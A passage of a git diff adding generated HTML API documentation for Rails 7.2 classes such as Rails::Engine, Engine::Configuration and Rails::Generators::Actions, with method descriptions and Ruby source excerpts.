+        engine_name(generate_railtie_name(mod.name))
+
+        routes.default_scope = { module: ActiveSupport::Inflector.underscore(mod.name) }
+        self.isolated = true
+
+        unless mod.respond_to?(:railtie_namespace)
+          name, railtie = engine_name, self
+
+          mod.singleton_class.instance_eval do
+            define_method(:railtie_namespace) { railtie }
+
+            unless mod.respond_to?(:table_name_prefix)
+              define_method(:table_name_prefix) { "#{name}_" }
+
+              ActiveSupport.on_load(:active_record) do
+                mod.singleton_class.redefine_method(:table_name_prefix) do
+                  "#{ActiveRecord::Base.table_name_prefix}#{name}_"
+                end
+              end
+            end
+
+            unless mod.respond_to?(:use_relative_model_naming?)
+              class_eval "def use_relative_model_naming?; true; end", __FILE__, __LINE__
+            end
+
+            unless mod.respond_to?(:railtie_helpers_paths)
+              define_method(:railtie_helpers_paths) { railtie.helpers_paths }
+            end
+
+            unless mod.respond_to?(:railtie_routes_url_helpers)
+              define_method(:railtie_routes_url_helpers) { |include_path_helpers = true| railtie.routes.url_helpers(include_path_helpers) }
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 439
+    def initialize
+      @_all_autoload_paths = nil
+      @_all_load_paths     = nil
+      @app                 = nil
+      @config              = nil
+      @env_config          = nil
+      @helpers             = nil
+      @routes              = nil
+      @app_build_lock      = Mutex.new
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + app() + +

+ + +
+

Returns the underlying Rack application for this engine.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 516
+    def app
+      @app || @app_build_lock.synchronize {
+        @app ||= begin
+          stack = default_middleware_stack
+          config.middleware = build_middleware.merge_into(stack)
+          config.middleware.build(endpoint)
+        end
+      }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + call(env) + +

+ + +
+

Define the Rack API for this engine.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 533
+    def call(env)
+      req = build_request env
+      app.call req.env
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + config() + +

+ + +
+

Define the configuration object for the engine.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 552
+    def config
+      @config ||= Engine::Configuration.new(self.class.find_root(self.class.called_from))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 490
+    def eager_load!
+      # Already done by Zeitwerk::Loader.eager_load_all. By now, we leave the
+      # method as a no-op for backwards compatibility.
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + endpoint() + +

+ + +
+

Returns the endpoint for this engine. If none is registered, defaults to an ActionDispatch::Routing::RouteSet.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 528
+    def endpoint
+      self.class.endpoint || routes
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + env_config() + +

+ + +
+

Defines additional Rack env configuration that is added on each call.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 539
+    def env_config
+      @env_config ||= {}
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + helpers() + +

+ + +
+

Returns a module with all the helpers defined for the engine.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 500
+    def helpers
+      @helpers ||= begin
+        helpers = Module.new
+        AbstractController::Helpers.helper_modules_from_paths(helpers_paths).each do |mod|
+          helpers.include(mod)
+        end
+        helpers
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + helpers_paths() + +

+ + +
+

Returns all registered helpers paths.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 511
+    def helpers_paths
+      paths["app/helpers"].existent
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_console(app = self) + +

+ + +
+

Load console and invoke the registered hooks. Check Rails::Railtie.console for more info.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 453
+    def load_console(app = self)
+      require "rails/console/methods"
+      run_console_blocks(app)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_generators(app = self) + +

+ + +
+

Load Rails generators and invoke the registered hooks. Check Rails::Railtie.generators for more info.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 476
+    def load_generators(app = self)
+      require "rails/generators"
+      run_generators_blocks(app)
+      Rails::Generators.configure!(app.config.generators)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_runner(app = self) + +

+ + +
+

Load Rails runner and invoke the registered hooks. Check Rails::Railtie.runner for more info.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 461
+    def load_runner(app = self)
+      run_runner_blocks(app)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_seed() + +

+ + +
+

Load data from db/seeds.rb file. It can be used in to load engines’ seeds, e.g.:

+ +

Blog::Engine.load_seed

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 560
+    def load_seed
+      seed_file = paths["db/seeds.rb"].existent.first
+      run_callbacks(:load_seed) { load(seed_file) } if seed_file
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_server(app = self) + +

+ + +
+

Invoke the server registered hooks. Check Rails::Railtie.server for more info.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 485
+    def load_server(app = self)
+      run_server_blocks(app)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_tasks(app = self) + +

+ + +
+

Load Rake and railties tasks, and invoke the registered hooks. Check Rails::Railtie.rake_tasks for more info.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 468
+    def load_tasks(app = self)
+      require "rake"
+      run_tasks_blocks(app)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + railties() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 495
+    def railties
+      @railties ||= Railties.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + routes(&block) + +

+ + +
+

Defines the routes for this engine. If a block is given to routes, it is appended to the engine.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 545
+    def routes(&block)
+      @routes ||= ActionDispatch::Routing::RouteSet.new_with_config(config)
+      @routes.append(&block) if block_given?
+      @routes
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + load_config_initializer(initializer) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 687
+      def load_config_initializer(initializer) # :doc:
+        ActiveSupport::Notifications.instrument("load_config_initializer.railties", initializer: initializer) do
+          load(initializer)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Engine/Configuration.html b/src/7.2/classes/Rails/Engine/Configuration.html new file mode 100644 index 0000000000..e07a79c517 --- /dev/null +++ b/src/7.2/classes/Rails/Engine/Configuration.html @@ -0,0 +1,341 @@ +--- +title: Rails::Engine::Configuration +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + autoload_once_paths
+ [RW] + autoload_paths
+ [RW] + eager_load_paths
+ [RW] + javascript_path
+ [RW] + middleware
+ [R] + root
+ + + + +

Class Public methods

+ +
+

+ + new(root = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine/configuration.rb, line 41
+      def initialize(root = nil)
+        super()
+        @root = root
+        @generators = app_generators.dup
+        @middleware = Rails::Configuration::MiddlewareStackProxy.new
+        @javascript_path = "javascript"
+
+        @autoload_paths = []
+        @autoload_once_paths = []
+        @eager_load_paths = []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + generators() + +

+ + +
+

Holds generators configuration:

+ +
config.generators do |g|
+  g.orm             :data_mapper, migration: true
+  g.template_engine :haml
+  g.test_framework  :rspec
+end
+
+ +

If you want to disable color in console, do:

+ +
config.generators.colorize_logging = false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine/configuration.rb, line 65
+      def generators
+        @generators ||= Rails::Configuration::Generators.new
+        yield(@generators) if block_given?
+        @generators
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine/configuration.rb, line 71
+      def paths
+        @paths ||= begin
+          paths = Rails::Paths::Root.new(@root)
+
+          paths.add "app",                 eager_load: true,
+                                           glob: "{*,*/concerns}",
+                                           exclude: ["assets", javascript_path]
+          paths.add "app/assets",          glob: "*"
+          paths.add "app/controllers",     eager_load: true
+          paths.add "app/channels",        eager_load: true
+          paths.add "app/helpers",         eager_load: true
+          paths.add "app/models",          eager_load: true
+          paths.add "app/mailers",         eager_load: true
+          paths.add "app/views"
+
+          # If you add more lib subdirectories here that should not be managed
+          # by the main autoloader, please update the config.autoload_lib call
+          # in the template that generates config/application.rb accordingly.
+          paths.add "lib",                 load_path: true
+          paths.add "lib/assets",          glob: "*"
+          paths.add "lib/tasks",           glob: "**/*.rake"
+
+          paths.add "config"
+          paths.add "config/environments", glob: -"#{Rails.env}.rb"
+          paths.add "config/initializers", glob: "**/*.rb"
+          paths.add "config/locales",      glob: "**/*.{rb,yml}"
+          paths.add "config/routes.rb"
+          paths.add "config/routes",       glob: "**/*.rb"
+
+          paths.add "db"
+          paths.add "db/migrate"
+          paths.add "db/seeds.rb"
+
+          paths.add "vendor",              load_path: true
+          paths.add "vendor/assets",       glob: "*"
+
+          paths.add "test/mailers/previews", autoload: true
+
+          paths
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + root=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine/configuration.rb, line 113
+      def root=(value)
+        @root = paths.path = Pathname.new(value).expand_path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Engine/Railties.html b/src/7.2/classes/Rails/Engine/Railties.html new file mode 100644 index 0000000000..c57edac305 --- /dev/null +++ b/src/7.2/classes/Rails/Engine/Railties.html @@ -0,0 +1,217 @@ +--- +title: Rails::Engine::Railties +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + - +
  • + +
  • + each +
  • + +
  • + new +
  • + +
+ + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + _all
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine/railties.rb, line 9
+      def initialize
+        @_all ||= ::Rails::Railtie.subclasses.map(&:instance) +
+          ::Rails::Engine.subclasses.map(&:instance)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + -(others) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine/railties.rb, line 18
+      def -(others)
+        _all - others
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(*args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine/railties.rb, line 14
+      def each(*args, &block)
+        _all.each(*args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Engine/Updater.html b/src/7.2/classes/Rails/Engine/Updater.html new file mode 100644 index 0000000000..6268c2b494 --- /dev/null +++ b/src/7.2/classes/Rails/Engine/Updater.html @@ -0,0 +1,147 @@ +--- +title: Rails::Engine::Updater +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + generator() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine/updater.rb, line 10
+        def generator
+          @generator ||= Rails::Generators::PluginGenerator.new ["plugin"],
+            { engine: true }, { destination_root: ENGINE_ROOT }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run(action) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine/updater.rb, line 15
+        def run(action)
+          generator.public_send(action)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators.html b/src/7.2/classes/Rails/Generators.html new file mode 100644 index 0000000000..dd1f8db35b --- /dev/null +++ b/src/7.2/classes/Rails/Generators.html @@ -0,0 +1,877 @@ +--- +title: Rails::Generators +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
DEFAULT_ALIASES={ +rails: { +actions: "-a", +orm: "-o", +javascripts: ["-j", "--js"], +resource_controller: "-c", +scaffold_controller: "-c", +stylesheets: "-y", +template_engine: "-e", +test_framework: "-t" +}, + +test_unit: { +fixture_replacement: "-r", +} +}
DEFAULT_OPTIONS={ +rails: { +api: false, +assets: true, +force_plural: false, +helper: true, +integration_tool: nil, +orm: false, +resource_controller: :controller, +resource_route: true, +scaffold_controller: :scaffold_controller, +system_tests: nil, +test_framework: nil, +template_engine: :erb +} +}
+ + + + + + +

Class Public methods

+ +
+

+ + api_only!() + +

+ + +
+

Configure generators for API only applications. It basically hides everything that is usually browser related, such as assets and session migration generators, and completely disable helpers and assets so generators such as scaffold won’t create them.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 116
+      def api_only!
+        hide_namespaces "assets", "helper", "css", "js"
+
+        options[:rails].merge!(
+          api: true,
+          assets: false,
+          helper: false,
+          template_engine: nil
+        )
+
+        options[:mailer] ||= {}
+        options[:mailer][:template_engine] ||= :erb
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fallbacks() + +

+ + +
+

Hold configured generators fallbacks. If a plugin developer wants a generator group to fall back to another group in case of missing generators, they can add a fallback.

+ +

For example, shoulda is considered a test_framework and is an extension of test_unit. However, most part of shoulda generators are similar to test_unit ones.

+ +

Shoulda then can tell generators to search for test_unit generators when some of them are not available by adding a fallback:

+ +
Rails::Generators.fallbacks[:shoulda] = :test_unit
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 108
+      def fallbacks
+        @fallbacks ||= {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + help(command = "generate") + +

+ + +
+

Show help message with available generators.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 170
+      def help(command = "generate")
+        puts "Usage:"
+        puts "  bin/rails #{command} GENERATOR [args] [options]"
+        puts
+        puts "General options:"
+        puts "  -h, [--help]     # Print generator's options and usage"
+        puts "  -p, [--pretend]  # Run but do not make any changes"
+        puts "  -f, [--force]    # Overwrite files that already exist"
+        puts "  -s, [--skip]     # Skip files that already exist"
+        puts "  -q, [--quiet]    # Suppress status output"
+        puts
+        puts "Please choose a generator below."
+        puts
+
+        print_generators
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hidden_namespaces() + +

+ + +
+

Returns an array of generator namespaces that are hidden. Generator namespaces may be hidden for a variety of reasons. Some are aliased such as β€œrails:migration” and can be invoked with the shorter β€œmigration”.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 134
+      def hidden_namespaces
+        @hidden_namespaces ||= begin
+          orm      = options[:rails][:orm]
+          test     = options[:rails][:test_framework]
+          template = options[:rails][:template_engine]
+
+          [
+            "rails",
+            "resource_route",
+            "#{orm}:migration",
+            "#{orm}:model",
+            "#{test}:controller",
+            "#{test}:helper",
+            "#{test}:integration",
+            "#{test}:system",
+            "#{test}:mailer",
+            "#{test}:model",
+            "#{test}:scaffold",
+            "#{test}:view",
+            "#{test}:job",
+            "#{template}:controller",
+            "#{template}:scaffold",
+            "#{template}:mailer",
+            "action_text:install",
+            "action_mailbox:install",
+            "devcontainer"
+          ]
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hide_namespace(*namespaces) + +

+ + +
+ +
+ + + + + +
+ Alias for: hide_namespaces +
+ + + + +
+ +
+

+ + hide_namespaces(*namespaces) + +

+ + +
+ +
+ + + +
+ Also aliased as: hide_namespace +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 164
+      def hide_namespaces(*namespaces)
+        hidden_namespaces.concat(namespaces)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + invoke(namespace, args = ARGV, config = {}) + +

+ + +
+

Receives a namespace, arguments, and the behavior to invoke the generator. It’s used as the default entry point for generate, destroy, and update commands.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 261
+      def invoke(namespace, args = ARGV, config = {})
+        names = namespace.to_s.split(":")
+        if klass = find_by_namespace(names.pop, names.any? && names.join(":"))
+          args << "--help" if args.empty? && klass.arguments.any?(&:required?)
+          klass.start(args, config)
+          run_after_generate_callback if config[:behavior] == :invoke
+        else
+          options = sorted_groups.flat_map(&:last)
+          error = Command::CorrectableNameError.new("Could not find generator '#{namespace}'.", namespace, options)
+
+          puts <<~MSG
+            #{error.detailed_message}
+            Run `bin/rails generate --help` for more options.
+          MSG
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + print_generators() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 192
+      def print_generators
+        sorted_groups.each { |b, n| print_list(b, n) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + public_namespaces() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 187
+      def public_namespaces
+        lookup!
+        subclasses.map(&:namespace)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sorted_groups() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 196
+      def sorted_groups
+        namespaces = public_namespaces
+        namespaces.sort!
+
+        groups = Hash.new { |h, k| h[k] = [] }
+        namespaces.each do |namespace|
+          base = namespace.split(":").first
+          groups[base] << namespace
+        end
+
+        rails = groups.delete("rails")
+        rails.map! { |n| n.delete_prefix("rails:") }
+        rails.delete("app")
+        rails.delete("plugin")
+        rails.delete("encrypted_file")
+        rails.delete("encryption_key_file")
+        rails.delete("master_key")
+        rails.delete("credentials")
+        rails.delete("db:system:change")
+
+        hidden_namespaces.each { |n| groups.delete(n.to_s) }
+
+        [[ "rails", rails ]] + groups.sort.to_a
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Class Private methods

+ +
+

+ + command_type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 305
+        def command_type # :doc:
+          @command_type ||= "generator"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + file_lookup_paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 313
+        def file_lookup_paths # :doc:
+          @file_lookup_paths ||= [ "{#{lookup_paths.join(',')}}", "**", "*_generator.rb" ]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lookup_paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 309
+        def lookup_paths # :doc:
+          @lookup_paths ||= %w( rails/generators generators )
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + print_list(base, namespaces) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators.rb, line 284
+        def print_list(base, namespaces) # :doc:
+          namespaces = namespaces.reject { |n| hidden_namespaces.include?(n) }
+          super
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Actions.html b/src/7.2/classes/Rails/Generators/Actions.html new file mode 100644 index 0000000000..2b716d5a06 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Actions.html @@ -0,0 +1,1310 @@ +--- +title: Rails::Generators::Actions +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + add_source(source, options = {}, &block) + +

+ + +
+

Add the given source to Gemfile

+ +

If block is given, gem entries in block are wrapped into the source group.

+ +
add_source "http://gems.github.com/"
+
+add_source "http://gems.github.com/" do
+  gem "rspec-rails"
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 151
+      def add_source(source, options = {}, &block)
+        log :source, source
+
+        in_root do
+          if block
+            append_file_with_newline "Gemfile", "\nsource #{quote(source)} do", force: true
+            with_indentation(&block)
+            append_file_with_newline "Gemfile", "end", force: true
+          else
+            prepend_file "Gemfile", "source #{quote(source)}\n", verbose: false
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + application(data = nil, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: environment +
+ + + + +
+ +
+

+ + environment(data = nil, options = {}) + +

+ + +
+

Adds configuration code to a Rails runtime environment.

+ +

By default, adds code inside the Application class in config/application.rb so that it applies to all environments.

+ +
environment %(config.asset_host = "cdn.provider.com")
+
+ +

Results in:

+ +
# config/application.rb
+class Application < Rails::Application
+  config.asset_host = "cdn.provider.com"
+  # ...
+end
+
+ +

If the :env option is specified, the code will be added to the corresponding file in config/environments instead.

+ +
environment %(config.asset_host = "localhost:3000"), env: "development"
+
+ +

Results in:

+ +
# config/environments/development.rb
+Rails.application.configure do
+  config.asset_host = "localhost:3000"
+  # ...
+end
+
+ +

:env can also be an array. In which case, the code is added to each corresponding file in config/environments.

+ +

The code can also be specified as the return value of the block:

+ +
environment do
+  %(config.asset_host = "cdn.provider.com")
+end
+
+environment(nil, env: "development") do
+  %(config.asset_host = "localhost:3000")
+end
+
+
+ + + +
+ Also aliased as: application +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 206
+      def environment(data = nil, options = {})
+        sentinel = "class Application < Rails::Application\n"
+        env_file_sentinel = "Rails.application.configure do\n"
+        data ||= yield if block_given?
+
+        in_root do
+          if options[:env].nil?
+            inject_into_file "config/application.rb", optimize_indentation(data, 4), after: sentinel, verbose: false
+          else
+            Array(options[:env]).each do |env|
+              inject_into_file "config/environments/#{env}.rb", optimize_indentation(data, 2), after: env_file_sentinel, verbose: false
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem(*args) + +

+ + +
+

Adds a gem declaration to the Gemfile for the specified gem.

+ +
gem "rspec", group: :test
+gem "technoweenie-restful-authentication", lib: "restful-authentication", source: "http://gems.github.com/"
+gem "rails", "3.0", git: "https://github.com/rails/rails"
+gem "RedCloth", ">= 4.1.0", "< 4.2.0"
+gem "rspec", comment: "Put this comment above the gem declaration"
+
+ +

Note that this method only adds the gem to the Gemfile; it does not install the gem.

+ +

Options

+
:version +
+

The version constraints for the gem, specified as a string or an array of strings:

+ +
gem "my_gem", version: "~> 1.1"
+gem "my_gem", version: [">= 1.1", "< 2.0"]
+
+ +

Alternatively, can be specified as one or more arguments following the gem name:

+ +
gem "my_gem", ">= 1.1", "< 2.0"
+
+
:comment +
+

Outputs a comment above the gem declaration in the Gemfile.

+ +
gem "my_gem", comment: "First line.\nSecond line."
+
+ +

Outputs:

+ +
# First line.
+# Second line.
+gem "my_gem"
+
+
:group +
+

The gem group in the Gemfile that the gem belongs to.

+
:git +
+

The URL of the git repository for the gem.

+
+ +

Any additional options passed to this method will be appended to the gem declaration in the Gemfile. For example:

+ +
gem "my_gem", comment: "Edge my_gem", git: "https://example.com/my_gem.git", branch: "master"
+
+ +

Outputs:

+ +
# Edge my_gem
+gem "my_gem", git: "https://example.com/my_gem.git", branch: "master"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 67
+      def gem(*args)
+        options = args.extract_options!
+        name, *versions = args
+
+        # Set the message to be shown in logs. Uses the git repo if one is given,
+        # otherwise use name (version).
+        parts, message = [ quote(name) ], name.dup
+
+        # Output a comment above the gem declaration.
+        comment = options.delete(:comment)
+
+        if versions = versions.any? ? versions : options.delete(:version)
+          _versions = Array(versions)
+          _versions.each do |version|
+            parts << quote(version)
+          end
+          message << " (#{_versions.join(", ")})"
+        end
+        message = options[:git] if options[:git]
+
+        log :gemfile, message
+
+        parts << quote(options) unless options.empty?
+
+        in_root do
+          str = []
+          if comment
+            comment.each_line do |comment_line|
+              str << indentation
+              str << "# #{comment_line}"
+            end
+            str << "\n"
+          end
+          str << indentation
+          str << "gem #{parts.join(", ")}"
+          append_file_with_newline "Gemfile", str.join, verbose: false
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem_group(*names, &block) + +

+ + +
+

Wraps gem entries inside a group.

+ +
gem_group :development, :test do
+  gem "rspec-rails"
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 111
+      def gem_group(*names, &block)
+        options = names.extract_options!
+        str = names.map(&:inspect)
+        str << quote(options) unless options.empty?
+        str = str.join(", ")
+        log :gemfile, "group #{str}"
+
+        in_root do
+          append_file_with_newline "Gemfile", "\ngroup #{str} do", force: true
+          with_indentation(&block)
+          append_file_with_newline "Gemfile", "end", force: true
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generate(what, *args) + +

+ + +
+

Runs another generator.

+ +
generate "scaffold", "Post title:string body:text"
+generate "scaffold", "Post", "title:string", "body:text"
+
+ +

The first argument is the generator name, and the remaining arguments are joined together and passed to the generator.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 332
+      def generate(what, *args)
+        log :generate, what
+
+        options = args.extract_options!
+        options[:abort_on_failure] = !options[:inline]
+
+        rails_command "generate #{what} #{args.join(" ")}", options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + git(commands = {}) + +

+ + +
+

Runs one or more git commands.

+ +
git :init
+# => runs `git init`
+
+git add: "this.file that.rb"
+# => runs `git add this.file that.rb`
+
+git commit: "-m 'First commit'"
+# => runs `git commit -m 'First commit'`
+
+git add: "good.rb", rm: "bad.cxx"
+# => runs `git add good.rb; git rm bad.cxx`
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 237
+      def git(commands = {})
+        if commands.is_a?(Symbol)
+          run "git #{commands}"
+        else
+          commands.each do |cmd, options|
+            run "git #{cmd} #{options}"
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + github(repo, options = {}, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 125
+      def github(repo, options = {}, &block)
+        str = [quote(repo)]
+        str << quote(options) unless options.empty?
+        str = str.join(", ")
+        log :github, "github #{str}"
+
+        in_root do
+          if @indentation.zero?
+            append_file_with_newline "Gemfile", "\ngithub #{str} do", force: true
+          else
+            append_file_with_newline "Gemfile", "#{indentation}github #{str} do", force: true
+          end
+          with_indentation(&block)
+          append_file_with_newline "Gemfile", "#{indentation}end", force: true
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initializer(filename, data = nil) + +

+ + +
+

Creates an initializer file in config/initializers/. The code can be specified as an argument or as the return value of the block.

+ +
initializer "api.rb", <<~RUBY
+  API_KEY = "123456"
+RUBY
+
+initializer "api.rb" do
+  %(API_KEY = "123456")
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 319
+      def initializer(filename, data = nil)
+        log :initializer, filename
+        data ||= yield if block_given?
+        create_file("config/initializers/#{filename}", optimize_indentation(data), verbose: false)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lib(filename, data = nil) + +

+ + +
+

Creates a file in lib/. The contents can be specified as an argument or as the return value of the block.

+ +
lib "foreign.rb", <<~RUBY
+  # Foreign code is fun
+RUBY
+
+lib "foreign.rb" do
+  "# Foreign code is fun"
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 275
+      def lib(filename, data = nil)
